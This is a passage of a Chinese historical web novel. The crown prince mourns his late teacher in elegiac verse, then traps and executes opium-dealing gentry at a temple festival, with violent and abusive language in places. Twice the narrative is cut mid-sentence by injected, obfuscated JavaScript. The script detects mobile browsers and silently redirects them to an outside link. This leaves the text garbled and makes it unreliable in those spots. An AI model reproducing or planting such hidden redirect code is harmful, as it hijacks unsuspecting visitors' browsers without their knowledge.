阿婆哭道:“殿下,老婆子不能说呀,我说了,他们都要掉脑袋呀!他们干的是丧尽天良的事,但刽子手一开动,毁的是多少家庭,多少孩子没有爹娘呀!咱们这里本不是自发种罂粟的,那年灾荒厉害,已经有人饿死了……柳州地不肥,再种粮食就是死路一条。这时候使君给了这么一条活路,全州老小才能从粮荒里活下来,他不只是带人发了财,更是救了大伙的命!老婆子家里没了男人,干不成活种不成那罂粟,可也吃了拿罂粟换的救济粮食!殿下,这杀头的勾当都敢做下,当年是真的没法子了!” 萧玠问:“赈济呢?陛下当年拨给柳州的赈济银足有近百万两,半分没有落到大伙手里吗?” 阿婆只是掩面哭泣。 萧玠浑身一软,险些跌在地上,一双手穿过他腋下,将他搀扶起来。 萧玠紧紧攥住郑绥的手,声音几近哽咽:“钱呢,百姓活命的钱呢?都让谁吞了,都让谁贪了?” 郑绥无法回答。 他听到萧玠从喉中挤出一道呕心般的哭泣:“人命关天哪!” …… 萧玠把自己关在房中整整一夜。 郑绥站在门外,从深夜直到天色渐白。 第一缕天光射落时,房门再次打开。萧玠苍白着脸,冲郑绥道:“我回去吃药,一会去你那边找你。” 郑绥欲开口,已听萧玠平静道:“绥郎,我需要你在这里。” 郑绥抱拳,“臣谨受命。” 萧玠点点头,鬼魂般轻飘飘而过,掠过公廨,向自己院中去。 异乎寻常的,沈娑婆并没有出门采风,萧玠打帘而入时,他正坐在罗帐挂起的床边抚弄琵琶。似乎从萧玠的脚步声里,沈娑婆就察觉了他的来意,没有像往常一样,戏谑又调笑地怨怪一个一夜未归的情人。他放下琵琶,冲萧玠打开怀抱。 萧玠从他身边坐下,缓缓倒在他膝上,尽可能地蜷缩起来。沈娑婆没有说话,像拍打襁褓一样轻轻拍打萧玠手臂。许久,萧玠才叫一声:“七郎,你先回去吧。你留在这儿,我不安心。” 沈娑婆没问为什么,笑道:“一切听从殿下安排。” 萧玠喃喃:“如果有什么万一……我最放心不下的便是你。” 沈娑婆柔声道:“臣未必不能随殿下同去。” 萧玠从他颈间找到一缕红线,顺着红线拉出一只青瓷小瓶,打开小瓶,萧玠闻到沾之则死的毒药的气味。他仰起头,对上红罗绣帐下那双曼丽多情的眼睛。 萧玠一下子扎在他膝上,轻轻浅浅的梨花香气从沈娑婆的广袖间弥散。萧玠看到他手臂仍包着纱巾,巾上似乎仍有血痕。沈娑婆是否再度自残的念头从萧玠脑中闪逝,他想他已经知道了答案。沈娑婆随时随地怀有直面死亡的勇气,可能不是为了萧玠,但他不惮于为萧玠留下一个青史垂名的殉情。 萧玠在离去前,诀别一样吻了吻他的脸。 经逢昨夜惊变,龙武卫严阵以待,戍守太子燕居之外等候旨令,却只等到沈娑婆车马归潮的无关事宜。接着,皇太子返回公廨后院,走向一扇掩闭的房门,那里关着和郑绥待践的约定。 *** 萧玠跨过门,走进屋里。 屋内雕花的书案,堆积案上的文书,摆放宝剑的兵器架,放进阳光的明纸窗,萧玠都没有看到。那一瞬间,一幅悬挂堂前的丹青占据了他的全部视线。 画中人儒冠青服,文质彬彬,正是李寒留给萧玠的最后印象。 萧玠感觉眼睛像早已回乳的泉眼,终于涌出奶水一样的血泪。他嘴唇蠕动,喃喃叫一声:“老师”。 郑绥站在画底,不知从哪里寻来一张香案,正倒两盏酒水在上面。他闻声转头,没有说话。 在他默契无声的等待里,萧玠走上前,跪倒李寒脚下。 郑绥轻声道:“听陛下讲起,殿下小时候受了委屈,常跑去大相府里。想不明白的事,也是由大相讲解清楚。殿下如果难以决断,不如在大相面前好好想想。” 萧玠仍痴痴注目画像,道:“你知道吗,在我出生之前,他曾给青公写过一首悼亡诗,叫《悼贤》。如今我来见他,竟也是悼贤了。” 郑绥叹道:“可惜文正公的诗稿,已经在奉皇五年京乱之时被一把火烧尽了。” 萧玠笑了笑,“没关系,我可以背下来。” 他双唇开启,双唇颤抖,泪流之中,徐徐吟诵:“惜往日之临诲兮,悲公业于黄墟。步余马于桂冢兮,傍残碣以愁予。观遗泽以流涕兮,临图画而欷歔。忽化雾以乐世兮,遗千古以痛余!鞺鞳鸣于板笏兮,清激发乎哀曲。跪敷衽以上告兮,问天驾以朱舆。” 郑绥立即听到,在房外窗外,天外天外,悠悠有哭声飘荡。萧玠从没在人前哭过李寒,一如李寒从没在人前哭过青不悔。直到这首诗横空出世,让他们把心剖出来给人看。 甚至是一样的五月,一样的初夏,一样的泣涕如血。 我好怀念在你门下受教的日子,而你已经归身黄泉了。我策马到你的坟前,我能干什么呢?只有你的碑头能叫我依靠。 看见你的笔墨我痛哭流涕,看见你的画像我泪流满面。你死了,恩泽造福人世,独独中伤了我啊! 我的笏板震动如雷,我的哀曲清越激昂。我铺好衣衫向你上告,我要乘驾朱车上问苍天。 案上没有摆放香炉,但阳光入窗,落在案前,竟香烟般袅袅直上。萧玠声音沉静而沙哑,继续追蹈李寒,开展新一场以生对师的天人对话: “何白霓之流飒兮,未入余之秋宫?独长河之灿烂兮,亦消散于大梦?岂中月之不明兮,云雍雍以蔽此。凌太山以招揽兮,独蝉鸣与北风。思夫人而不至兮,度埃风以上征。” 郑绥深吸口气,也从旁跪下。在萧玠诧异又了然的目光里,开口接道: “腾蛇高驼以左骖兮,使飞廉为右騑。偕太一以遨游兮,从朱爵而飞升。俾望舒以轫素驺兮,命羲和以仗舷。鸣珂以游帝里兮,骋六螭于云间。凭朱轓以驰望兮,驶象辂于阆苑。云渺渺而不泽兮,日暧暧而既远。亦神鱼之化龙兮,跃北斗而阊前。闻阿香之辘辘兮,何不归乎人间!” 一瞬之间,风声呼呼作响,彩霞冲破木窗,如同泄洪般奔腾满屋。郑绥看到一幅绝于凡尘的奇异景象:阳光如同河水,将堂屋托举肩上,像积厚的水托举大舟、积厚的风托举鹏鸟的大翼一样。整间屋子,宛如一驾腾空之车。神兽神使为之驱使,北极星和朱雀为之向导,望舒羲和为之仆役,六条螭龙为之乘驾。郑绥驾车,越过鱼跃龙门的奇景、阆苑仙葩的胜况、白日昏暗的阴影,到最后,云中响起隆隆雷声。 雷声深处,萧玠一人仍飘飘荡荡。他那身绉纱袍子翩翩而飞,像一只白色蛱蝶,更像能叫他化身蛱蝶的一件仙衣。他双目无神,神情凄惘,郑绥知道他在找谁,但他显然没有找到。在郑绥即将抓到他时他像一缕清风在指间嗖然逝去,身影投向黄昏外的黄昏,更西处的西方。他得去问颛顼,问这位掌管一切仙籍的高阳王,问问那个上天下地仍不得见的人到底在哪里,问他为什么再次失约、再次将他抛弃。但郑绥清楚可见,高阳光明神一般五彩端庄的脸上,释放出阿芙蓉点燃的滚滚青烟。他听到萧玠跪在神王脚下,哀声求问——他到底在哪里,黄泉碧落我都找不见他,他到底在哪里? 他在骗你。发不出的声音在郑绥喉中扑通乱撞。他在愚弄你,他在陷害你……李寒已经死了,他彻彻底底地死了,他早就回不来了! 高阳神“再等黄昏”的神旨降落时,郑绥听到萧玠在天界凄厉的哀叫,那余韵像一根飞箭擦耳射过时留下的风声,“嗡——嗡——嗡”地振动作响,渐渐,化成萧玠在人间浑身大汗却如同宣战的诵声: “白日晼而薄暮兮,俟故人而未闻。问高阳以仙迹兮,曰''可期乎黄昏。''怒舜华以戏余兮,擂鼓以撼鸾门。举长矢以射金乌兮,援玉弧以刺鹏鲲。颠日月于崔嵬兮,喝天关之为开。震仙乐于九霄兮,灵缤纷而下来。云旂招而委蛇兮,虎鸣篪于紫台。既踪影以近余兮,灵魂招而徘徕。” 萧玠仍跪在画像前,热泪翻滚,汗水已湿透后心。郑绥以为他随时都会号啕大哭,就像郑绥以为受到高阳戏弄的萧玠随时都会被天雷碎作齑粉那样。但是没有。他史无前例地看到了萧玠的愤怒,那愤怒远逾流血漂杵的天子一怒、血溅五步的刺客一怒。他看到天上的萧玠振臂擂鼓像看见人间的萧玠长诵不止,他凡间的声音飘上九重高天,就是飞舞的大旗、射日的箭弩和刺鲲的玉弓。萧玠文弱的身躯,迸发出惊人之力,掀翻太阳月亮,叫开天门天关。仙人纷纷朝拜的情形,与朝臣纷纷朝拜的情形一般无二,这时他不仅是人间正统的帝子,更成为天界迭代的君王。在郑绥以为他要继续乘胜追击时,他听到,身边萧玠诵诗的声音一哽,天上萧玠的手臂突然如卸箭之弦,软软垂落。郑绥追随他目光,看到彩云缤纷间,立出了李寒。 面对李寒,萧玠又变回了那个手足无措的小孩子。这是他见过的最符合文正公仙话故事里李寒的样貌。他翠衣青衿,兰香四溢,不再是一个血淋淋的包裹,或一具冷冰冰的尸体。 萧玠久久哑然,难发一言,郑绥双手扶膝,替他诵道: “回朕车以徜徉兮,拜先生于汗漫。袭绿缥与翠被兮,挽荷裯及兰衫。辔飞镜之清湛兮,挟太白之皓旰。佩长铗以香茝兮,高云冠而广带。停桂棹于星汉兮,泛灵槎于碧海。此诫余以故音兮,又乐极而悲来!” 李寒降落萧玠面前,像十七年前的青不悔降落李寒面前。他们这样不世出又不该寓世的圣人,不管死去还是成仙,还是要问一个问题:我离去后,人世变得怎么样? 萧玠张了张嘴,一串丑言恶语堵在喉间,像一群□□新产的湿黏的卵块。 背叛的潮州营、流毒的柳州城,阿芙蓉青烟滚滚、罂粟香热气腾腾。灯火下,父亲割开手臂滴落鲜血制作的续命毒药,还有雷雨夜,将他和虞闻道堵在床上的牛头马面……太多了,太脏了,太烂了,他不明白,明明繁花锦簇的世界,为什么会变成流脓一滩?他得问,他不明白呀,他不得不问个明白! 于是萧玠跪在地上,声音克 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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萧玠依旧没能成句,而郑绥的神灵重回天界时,云间已经空无一人。他不知萧玠是跟随李寒回归九天还是因心智淆乱堕下九泉。郑绥看向身边,萧玠整个人伏在地上,脊背轻轻颤抖,几乎已经听不到哭声。 郑绥道:“殿下,如果难受,我们就先到这里,好不好?你对文正公的心意,不在一首诗里。” 萧玠没有回答,郑绥也不再催促。他跪在萧玠身边,静静等待。等他放弃,或等他继续。阳光从窗外流入,没过萧玠头顶。他在等待窒息,或在体验窒息。窒息是死亡的必要条件,就像每个人的大希望之前总要体验大绝望一样,或许只有体验过死,他才能重获生的能力。 一瞬两瞬,一刻两刻,终于,郑绥听到了萧玠的呼吸,是空气充盈溺水者的肺叶、重获新生的喘息。他看到萧玠跽坐起来,诵道: “辞先生于虞渊兮,将弭节向江皋。途穷而遇渔父兮,竟笑我以徒劳。世燕礼以萧艾兮,继明取乎兰膏。举奸谗于列侯兮,陈婞直于狴牢!曰‘金铄于众口兮,焉能就乎浊醪?岂汶汶之江流兮,染余衣之皓皓!’ “哭梅伯之成醢兮,笑箕子之佯狂。哀伯牙之破琴兮,悯申生之辞庙。浮白祝于河伯兮,焰水犀而光长。倾尊以谢江鱼兮,濯缨岂独沧浪!” 郑绥静静看他,微微一笑,道:“未世俗之溷沌兮,愿鼓簧于山间。独箫韶以舞凤兮,操猗兰以虬安。既洪灌而天裂兮,举余身而补之然。澄黄河以天浦兮,涤缁尘以银川。” 他比任何人都了解,萧玠不适合做君王。他优柔、仁善、敏感,把握生杀之权对他来说太过残忍。 但同样,他比任何人都清楚,萧玠文弱的肩膀,一定能扛起这如同太山的重任。 如果世间太平,我会隐居山林,弹琴吹箫,友凤侣龙。 但天塌了,就到了我以身补天,荡涤浊世的时候了。 萧玠终于把目光投向郑绥。那样相视一笑的美好,超越一切悦己者和知己者,是全部无衣的与子同袍者,和死生契阔的与子成说者。这一刻他们比任何的先贤都要幸运,在青不悔众叛亲离的殉道、李寒独行且往的求道之后,他们找到了同道。 朝闻道,夕可死矣。 “旦溘死于丘阿兮,暮归林于野马。共世界之气息兮,化清风于天下。窃慕公之高义兮,蹈先圣之遗迹。候余葺此故居兮,迨吉时以归来! “乱曰:鸾凤穴谷,燕雀巢梧。白璧沉淖,鱼目同珠。甂瓯承堂,周鼎潜渊。鲸鲟去海,蛙黾文剑。骄子持圭,王孙弃冠。山僧沽酒,公子断扇。精舍曛暖,蓬户竺寒。隐夫薇食,名士玉馔。悠悠苍天,视彼忠魂!汤汤天水,怀此贤人!仙府既安,毋宁归来。魂兮下降,待荡尘埃!” 两人一气诵毕,同时叩头于地。 郑绥先直起身,许久,萧玠由手臂支撑,抬头仰望画像,问:“这是你画的吗?” 郑绥道:“在家时按父亲的描述,绘成此卷。只是没有见过文正公,不知道像不像。” 萧玠扭头去看他,突然浑身一抖。 ……在郑绥身边,站着许久未见的含笑的李寒。 这次的李寒,比之前任何一次都要清晰温暖。 萧玠一瞬不瞬地盯着他的脸,轻声道:“一模一样。” 郑绥似乎又说了什么,萧玠都听不进去。此时此刻,他只看到李寒抬起手,像小时候无数次一样,再次帮他把眼泪擦掉。 萧玠看着那只手,他多么想再贴一贴、靠一靠这只手,多么想再躲在李寒身后逃避所有麻烦,他知道李寒无论如何都会护他周全。就像他知道,在他朝不保夕的童年时代,没有一个人的心,能比李寒和他更亲一分。 李寒没说话,弯腰从他身边坐下,静静等待。 萧玠垂下脸,终于握住李寒的手指。哪怕在郑绥眼里,他只握住自己的拳头,把右手五根指头插进左手的指缝。李寒没有温度的手心依旧能温暖他。 原来虚幻也有温度,也有力量。 这一瞬,萧玠感觉自己腕部的静脉破裂,血液钻出肌肤,像一条蜕下青皮的红蛇,溜进李寒透明的手腕。 血越流越多,那手臂逐渐充盈血色,出现实感。渐渐地,那张透明的脸上五官逐渐清晰。那股神奇的血的魔力焕发光辉时,面前的李寒变成个画错的人,跟丹青之上的面孔逐渐不像了。等那条血脉彻底从他手臂里扎根时,萧玠看到李寒最后的脸。 像对镜的画面。 萧玠一下子哭了,但那个长着萧玠脸孔的李寒没再替他拭泪。他由萧玠牵着,不主动也不勉强,任萧玠小孩子一样,俯身在他面前哭得稀里糊涂。 好一会,萧玠看着两人相牵的手,抬起另一只衣袖。 老师,我已经长大了,可以自己擦眼泪了。 等我真正继承你的遗志,修葺好你的故居,你再归来吧。 萧玠松开了那只手。 一瞬间,李寒身形烟然。 …… 等萧玠再直起身子,脸上泪痕已干。他看向郑绥,说:“绥郎,你知道我要做什么。” 郑绥道:“是。” “你知道我必须要一个能武力镇压暴乱,又对我绝对忠诚的人。” “是。” “你知道这么做,很可能身败名裂。” “是。” 萧玠深吸口气,道:“你知道,我要你为我赴死。” 郑绥还是道:“是。” 萧玠很久没再说话,过一会,才喃喃道:“我一直厌恶君要臣死臣不得不死的规矩,没想到有一天,我真的变成了这种人。” 郑绥道:“不是臣为君死,是士为知己者死。” 他端起香案上一只酒杯,注视萧玠,道:“我登楼兮起长歌,乐极哀来有所和。” 萧玠默然片刻,也相对举杯,“击鼓何必李夫子,后生亦能驾天车。” 杯盏相碰时,萧玠注目杯中酒水,忽然笑了一下。 “绥郎。”他道,“能与君相交,这辈子,无憾了。” 95.第 95 章 五月初五,阴天细雨,外地的车马涌入柳州城。 虞家三兄弟同乘一车,一到城门就被卫兵拦下:“入城检查,开帘登记。” 车停得突然,虞四郎猛地一晃,手中白玉茶杯险些打碎,当即叫道:“这唐刺史又有什么花花肚肠,我们远道而来,连门都不叫进了?” 虞大郎面露不豫,打开车帘,却突然一怔,下一刻已变换神色,微笑连连:“遵命,遵命。在下兄弟三人,永州虞氏出身。在下闻海,从弟闻江,小弟闻涛。” 卫兵问:“永州虞氏,嘉国公的本宗?” “官爷慧眼,嘉国公正是我等堂叔。” “来柳何事?” “为神王寿诞法会而来。会后,还有募捐善款事宜。” “帘子打开。” 大郎忙将整片帘子挂起来,好让卫兵能完全看清车中全貌。卫兵做好登记,没什么表情,吩咐执戟:“放行。” 大郎拱手笑道:“各位军爷辛苦,下着雨还得守城,一会我叫人送些热汤,大伙暖暖身子。” 虞四郎何曾见过大哥如此恭维模样,脸上有些忿忿,却被二哥眼神制止,才没有出声抱怨。等车马行远,他才忍不住叫道:“不过一条看门之狗,大哥何必如此假以辞色?” 大郎神色尽敛,严肃道:“你没瞧见他穿的什么?” 四郎咕哝道:“一身甲子罢了。当年咱们叔父上柱国将军在时,这些穿甲的哪个不对咱们点头哈腰?” “细鳞甲,肩饰瑞蛇,这是龙武卫的服制。”大郎沉声道,“都说龙武卫护皇太子往潮,看这架势,竟到柳州城来了。” 虞二郎思索片刻,道:“太子自幼供奉光明,为了以血抄经还茹素多年,前年那场大病后才罢了。太子心诚如此,只怕也是为寿诞节会而来。” 大郎皱眉,“只是太子在此,募捐怎么进行下去?” “这就不是咱们操心的事了。既然唐翀没有禁会,说明他自有法子,不然事情败露,他第一个逃不了。”二郎道,“更何况,太子未必不知内情。” 大郎沉吟:“你的意思是……太子也要分一杯羹?” 二郎道:“大哥细想,柳州那物的根,十之有七出自太子庄田里,听说监管者还是太子太傅的亲戚,哪有这么巧的事?再说,咱们一场法会如何也有千数之人,难道太子要将千人下狱不成?潮州谋逆案平定不久,他惹得起这样大的乱子?” 四郎再倒一杯花茶,嫌烫手,放在一旁紫檀几上,“我看也没什么好怕的,就算真有个万一又能怎样?太子跟三哥那事……” 大郎喝道:“你胡说什么!” 四郎有些不服,“本来就是吗,他和三哥真落到名分,咱们还算半个皇亲国戚呢。再说,一个病秧子,也就是占了投胎的便宜,有什么可怕的?” 大郎要训,二郎便回护,“大哥,罢了。他不是不晓事的,只在私下说一嘴。” 大郎叹道:“我这心里老不踏实。看太子在潮州行事,绝非善与之辈。” 半晌,他又对两个弟弟自行安慰,说你们知道秋后问斩的传统,但现在才是夏季,最生机勃勃的时节。这个季节注定不会有死神等待我们。我们和之前一样,一定有好运。 实际上,虞大郎的担忧并非空穴来风,从进城到光明神祠的这段路程,虞家兄弟经受了太子卫队的三次盘查。审视他们的目光毫无感情,像检查一块新鲜牲肉。他们没有像往常一样受到刺史唐翀的接待,卫队解释说这位忠诚的地方官正陪太子左右无法抽身。虞大郎在惴惴之中再开车帘,发现灰色天空下仍有被雨打湿的缕缕粉红烟气,在皇太子的诵经声中徐徐飘荡。这场浩劫的幸存者说,这是诵经之人对将死魂灵的超度。但那天每个远道而来的客人都以为这是罂粟之城一如过往的接迎。 雨季并没有影响寿诞节会的举行,金碧辉煌的塔尖式建筑下,仍挤满络绎不绝的车盖和雨伞。雨天将法器和宝台表壳涂抹一层淡淡铅色,让它们像流传过百世一样的沧桑而贵重。每位跨入院门的来宾都会被雨中一千一百一十一支香油蜡烛吸引目光,他们发觉这与赴会人数紧密相关。前来引导的柳州吏向每位驻足的客人介绍,这是皇太子殿下感念咱们今日到来的一千余位宾客善举,亲手为诸位点燃,只要各位健康长寿,即使冰雹暴雪也不会将这些烛火吹灭。请各位拿在手上吧,今日会有好运到来。 与之前多次法会不同,宾客不被允许进入祠庙,他们在没有雨棚遮挡的天空下暴露在越来越大的夏雨里。柳州的夏雨黏腻潮湿,水蛇一样灵活钻入每一件丝绸衣领,这些养尊处优的公子富绅却不敢怨言也不敢扭动。在大梁国的土地上,没人想挑战禁卫军队和皇太子的权威。 这是虞大郎第一次觐见皇太子,哪怕他是嘉国公血脉紧密的侄子,谒见天家也绝非易事。雨帘将皇太子身影打磨如壁画,让那素白披发的背影一会像人,一会像古人之鬼的影子。他听到皇太子诵经的声音,跟他们自学用来掩人耳目的秦语不同,那优美动人的嗓音沙沙拂过,虞大郎感觉自己的魂魄被一只手捉住,徐徐从七窍里向外提溜。皇太子尘世的祷告声,竟比钟磬更有净化皈依之能。 打断这一体验的是他的三弟虞四郎(由于整个宗族按年齿排行,嘉国公世子占据了行三的次序),他叫道:“我们好歹是远道而来的信众,皇太子这是要所有人知道,追随光明宗教的后果只是羞辱和折磨吗?” 回应他的是自庙内传来的脚步声。 一位年轻将军跨出门槛。他出现的一瞬所有士兵都颔首示意,虞大郎从他腰间悬挂的东宫鱼袋和其勃发的英姿上,判断出他的身份地位。 年轻将军说:“听闻明王经里记录明妃沐雨飞升的故事,这是殿下专门向神王祈求、为诸位洗去凡尘的恩赐。听闻诸位宾客熟诵经典,那就请背诵此节,感念殿下恩德吧。” 他铅灰色眼珠转动,落在虞四郎脸上,说:“请你先开始。” 虞四郎犹要叫:“凭什么要背给你听,你知道我是什么人?” 年轻将军反而一笑,“我马上就会知道。现在,你可以背诵了。” 虞四郎不忿,却被大郎劈手打了个耳光。这位察言观色的虞氏长孙准确叫出将军之姓:“小郑将军,舍弟无状,冲撞殿下和将军大驾,我教训他。大好节日,莫要动气。” 郑绥并不计较,说:“他背不出来,那就请长兄代劳。” 虞大郎赔笑:“在殿下面前,我们哪里敢丢人现眼。” 郑绥问:“没有一个人能背诵吗?” 众人面面相觑,说:“只怕有污殿下之耳。” 郑绥没有刁难,反而微笑道:“看来各位还要加紧用功。” 他拖延时间一样地对照名单一一寒暄,过一阵才走回庙中。萧玠仍跪在神像前,双手合十,闭目诵经。听到脚步声走近时萧玠问:“蜡烛都拿空了吗?” 郑绥说:“人已全部到齐。” 萧玠没有过多表示,睁开眼睛,对面前金身宏伟的光明神像说:“可以开始了。” 众人被陡作的巨响震得一竦。虞大郎应激转身,发现是五名龙武卫将士横木撞出的钟鼓之声。虞大郎当即充满感激地笑道:“由天子之军敲钟开会,真是我辈的荣幸。” 众位宾客稀稀落落地笑起来,笑声像一池飘萍般被雨声越冲越远。钟鼓在第九下后戛然而止,人们才意识到,这并非迎接神明的十全十美,而是象征天家的九五之数。这时候,长跪神前的太子施施然起身,在鼓声的余波里跨出门槛。 虞大郎发现,世俗夸大了太子的疾病,却将他的风姿遗于宫闱之角。他一出现,眼前如同蒙尘的雨中之景,突然像被一抹月光照彻。在光明神巍峨的金身前,太子危然而立,脸上挂着淡淡笑容,说:“我想各位一定在等候刺史唐翀,但今日有我在此,就不劳他代我理事了。” 太子眼神扫过每个宾客手中跳动的烛火,解释道:“看来诸位不知,陛下节俭,只靠宫中份例,我的药费极其有限。唐刺史每次的收受之数,都有一半作为我的服药之资。各位对我有救命之恩,为此,今日法会之前,我有一件谢礼送给各位。” 太子一抬手,一名龙武侍卫捧托盘而出。太子揭开蒙盖托盘的红布,露出一只宝匣,说:“想必各位听说过,前年一场大病几乎要我性命,礼部已经为我准备丧葬之物。我病重垂危之际,陛下替我求得仙丸一粒,有起死回生、延年益寿之能。我虚不受补,只用半粒便活转过来。我吃了一半,还剩下一半,正欲赏赐给为我出力最多的人。” 说到这里,太子有些为难,“只是我初来乍道,对诸位了解未深,要公平分之,有些难度。” 郑绥道:“不若请各位郎君各陈所供,殿下比较核实之后再做定夺。” 太子想了想,说:“好主意,有哪位愿做毛遂?” “我!”虞四郎率先出列,轻轻巧巧作了个揖,笑道,“草民永州虞氏长房四郎虞闻涛,愿开此先声!” 虞大郎看见太子脸上闪现一缕暗昧不明的笑意,接着就听见幼弟的声音在雨中回荡:“只涌泉坊作业铺子十八处,就有我家五成资产!” 郑绥追问:“作业,阿芙蓉作业么?” 虞大郎跨出一步,拱手笑道:“殿下既有收成,何须再问这些。” 郑绥也客客气气,“罂粟作业和阿芙蓉作业还有不同,不问清楚,殿下如何向郎君论功行赏?” 对峙间,皇太子再度开口:“怎么,各位不会以为我有所诓骗,只为调查底细吧?” 这一句话,让虞大郎体会到皇太子辞令的厉害。他直截了当地道破众人疑虑,为下一步骤的坦诚相见做足准备。太子说:“想必各位清楚,柳州整座城市的相关作业,由我名下田地养活一半。各位追随光明,更算是东宫门下。我们正应了那句俗语,一条船上的蚂蚱。” 他明明没有向郑绥递去一个眼波,郑绥却如有所感,代表笑意盈盈的皇太子作出示警:“前些日,潮州的下线欺上瞒下,竟暗自将所获收成私吞囊中。殿下当即平了潮州蜃楼,所获之物也尽数充公。各位,这就是包藏贰心的下场,还望各位引以为戒!” 大雨里,一千一百一十一名龙武卫士兵径下庭中,一对一地在红纸上记载各位宾客的料理之务。笔墨从虞大郎面前端走之时他发出一声叹息,二郎问:“我们家里所置产业颇多,不是魁首也能名列前茅,大哥何以作此一叹?” 大郎道:“皇太子恩威并施,已见帝王之势,的确是天下之福,只是不知你我是否囊于这天下之中。” 所有红笺呈于驾前时,天际终于响起迟来的雷声。厚重的雨帘让皇太子的神情晦暗不清。不一会,太子又恢复了那镇定自若的姿态,不经意问:“上次少了几个女孩子,你们送去了哪里?” 人们窃窃私语,“女孩,柳州还做过女孩生意?”半天没有个所以然,便有人堆笑讨巧,说殿下若想寻些侍婢,我府上倒有几个水灵伶俐的,不知是否有幸受殿下的点拨。 太子兴致不高,说:“那几个有些眼缘,如此也罢了。” 他说着,从一旁托盘里提过笔,抬腕勾了个名字。郑绥扬声叫道:“永州虞氏兄弟三人,上前受礼!” 在宾客或歆羡或嫉妒的目光里,虞家三兄弟出列。他们的姿态展示了三种迥异的个性,在老二闪躲的目光和老大的叹息声里,老三四郎昂首阔步,打开那只工艺精巧的宝匣,看到那半粒仙丹的真容。 仙丹香气钻入虞大郎鼻腔时,今日种种异样电光石火地闪过脑海,一切疑窦在这一刻有了答案。四郎跪地谢恩的同时,虞大郎看着幼稚又愚蠢的弟弟,一屁股坐在地上。 郑绥道:“殿下恩典,三位郎君现在服用吧。” 虞四郎脸上浮现孩子的惊喜,正要效仿孔融让梨的弟恭之举,手中丹丸却被一瞬间打在地上。虞二郎头如捣蒜,连连叫道:“殿下开恩,殿下开恩!” 那半粒仙丹坠在雨中,化开一片脓血般的液体,让人一时分不清是人血还是罂粟汁液。人群骚乱起来,在争相逃窜的本能爆发之前,龙武卫手中寒铁把他们的叫声堵回喉咙。横在虞四郎颈前的,是一把仍有血气驻留的利剑。他无声大叫之时压根看不清那位郑绥将军是如何飞降身畔,他眼中只剩下剑光折射处,皇太子漠然的脸。 半粒阿芙蓉丸再次由龙武卫传递到太子手里,太子捻动它,像捻动一粒松脱的佛珠。他的声音甚至还是念经时的悲悯:“为什么不敢吃?是不知道这是什么东西,还是太知道这是什么东西?” 他没有留给任何人回答的时间,问:“郑将军,新律第四卷,有关阿芙蓉制品的法条是怎么说的?” “凡炮制、贩卖、走私阿芙蓉物二斤以上,判处斩首。案件主谋、主犯及组织者,在不赦之列。按照新律,在场客人均为主犯,需秋后问斩。” 虞四郎被按在地上,厉声叫道:“空口白牙无凭无据,殿下岂能污蔑我等清白之身!” 萧玠举起一沓红纸,“各位亲手认罪画押,这就是铁板之钉。如果你嫌这个不够——” 说着,萧玠将纸笺一掷,“郑将军,把罪臣唐翀押解上来。” 被剥掉官服被发跣足的唐翀一登场,虞大郎就听见有个声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640347|186996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在肚子里大叫,完了,这下真的完了。他看到乱发之间唐翀疯狂的目光闪动,一排连珠飞箭一样将在场之人扫射一圈,笑着叫道:“对,就是他们,真正的东家和庄主!他们可真是吞金之兽,全部的得利要分出七分喂饱这些人的肚子……杀吧,统统杀吧!按律杀了他们,皇太子,你还在等什么,你不敢了吗?把他们统统杀了,杀了给那些无辜的草民们报仇雪恨啊!” 这个疯子究竟是要拉人陪葬还是刺激太子大开杀戒以颠覆王朝,虞大郎根本不得而知。雨珠噼里啪啦打在他脸上,竟比不上汗珠滚滚而下。他看到皇太子再次抬手,唐翀像一条犬彘一样被士兵拖下,双腿曳出的泥水依旧没能溅脏皇太子的袍角。在他逐渐消失的笑声里,皇太子说:“你要的人证也有了。” 虞四郎在利剑悬颈的逼迫下崩溃了,高声叫道:“皇太子,你背信弃义出尔反尔,我不服,我死也不服!有这样朝三暮四的储君,大梁的天要塌了,大梁要亡了呀!” 这悖逆之言脱口的一瞬,虞大郎听到一道雨中天雷劈向永州虞氏的百年祠堂。太子却面无不豫,抬手制止龙武卫要枷固其口的举动,他像一个初识世界的小孩子一样,看着虞四郎像看一只怪异的动物,奇怪道:“你真怕死。” 太子疑惑,“既然怕死,为什么还要行此必死之事?你是觉得王法不过儿戏,还是执行王法之人,可以儿戏?” 这一刻,所有人听到皇太子的庄严宣告:“我要忠武将军诵读条律,就是要你知道,我今日杀你,并非因为皇太子的权力。能杀人命的,只有人命。” 他叫道:“郑绥。” “微臣在。” “特事特办,无须秋后,当即问斩。” 郑绥立刻跨步上前。虞四郎被死死按在地上,在郑绥靴子停在他脸前时凄厉叫骂:“皇太子,萧玠,萧明长!你这个野种、昏君、婊卝子!你活该叫我堂兄骑完……” 虞大郎张开嘴巴,还没叫出一声,已看到那少年将军弯腰挥臂,一手像捉鸡一样提起四郎后颈,一手抽动宝剑,割断咽喉时也割断了虞四郎的谩骂之声。接着他看到幼弟的双臂一耷,像放血后公鸡两根死掉的翅膀。他仰面倒地时嘴型仍保持那污浊字眼的形状。 然后,那把滴落四郎血液的宝剑指向二郎。 二郎双肩耸动,低声叫道:“殿下,殿下,这不公平!” “绥郎。”太子叫了将军的乳名,仅用语气便传递出制止之意。他问:“那你说说,哪里不公平?” 虞大郎知道,从弟闻江常有急智,但他可怜的弟弟竟企图把希望寄托在小聪明上。虞二郎因激动不断被唾液呛住,拼命说道:“殿下刚刚也说了,新律规定,凡炮制、贩卖、走私阿芙蓉物二斤以上,判处斩首。那如果按照法条,柳州城七成以上的住民全部要杀!难道殿下要罪不责众显示威德,专挑咱们这些肥羊来杀吗?!” 太子的表情并没有波动,平静问:“东南西北四座城门已经封闭?” 